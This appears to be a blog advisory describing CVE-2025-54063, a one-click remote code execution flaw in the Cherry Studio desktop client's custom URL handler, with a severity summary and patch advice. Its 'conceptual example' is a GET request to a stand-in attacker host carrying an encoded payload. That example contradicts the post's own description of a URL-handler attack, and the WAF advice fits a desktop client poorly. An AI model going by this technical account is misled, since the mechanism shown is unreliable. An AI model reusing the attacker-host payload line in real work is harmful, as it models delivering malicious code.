Overview
In this blog post, we will delve deep into a critical vulnerability found in Cherry Studio, a popular desktop client used by multiple LLM providers. The vulnerability, known as CVE-2025-54063, is a high-severity issue that could potentially lead to remote code execution on a victim’s machine. This vulnerability is significant because it poses a threat to the confidentiality, integrity, and availability of information. It affects Cherry Studio versions 1.4.8 to 1.5.0, and if exploited, could lead to system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-54063
Severity: High, CVSS score 8.0
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Remote code execution, potential system compromise or data leakage
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Product | Affected Versions
Cherry Studio Desktop Client | 1.4.8 to 1.5.0
How the Exploit Works
The CVE-2025-54063 vulnerability is a one-click remote code execution flaw existing in the custom URL handling of Cherry Studio. An attacker can exploit this vulnerability by creating a malicious website or embedding a specially crafted URL on any website. When a user clicks on this malicious link in a browser, the Cherry Studio’s custom URL handler is triggered, which leads to the execution of remote code on the victim’s machine. This can lead to system compromise or data leakage, depending on the code executed and the privileges it leverages.
Conceptual Example Code
Assume that an attacker has created a specially crafted URL that contains the malicious payload. This URL could look something like the following:
GET http://malicious.example.com/exploit?payload=base64_encoded_malicious_code HTTP/1.1When a victim unknowingly clicks this link, the browser would send a GET request to the malicious server, triggering the execution of the malicious code on the victim’s machine via the Cherry Studio’s custom URL handler.
Mitigation Guidance
The vulnerability has been patched in Cherry Studio version 1.5.1. Therefore, the primary mitigation step is to update Cherry Studio to the latest version. If updating is not immediately possible, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure to detect and block any malicious traffic. However, these should only be considered as temporary measures, and updating to the patched version should be done as soon as possible to ensure maximum security.
Always remember, staying updated is one of the best defenses against cybersecurity threats. Stay vigilant, stay updated, and keep your systems secure.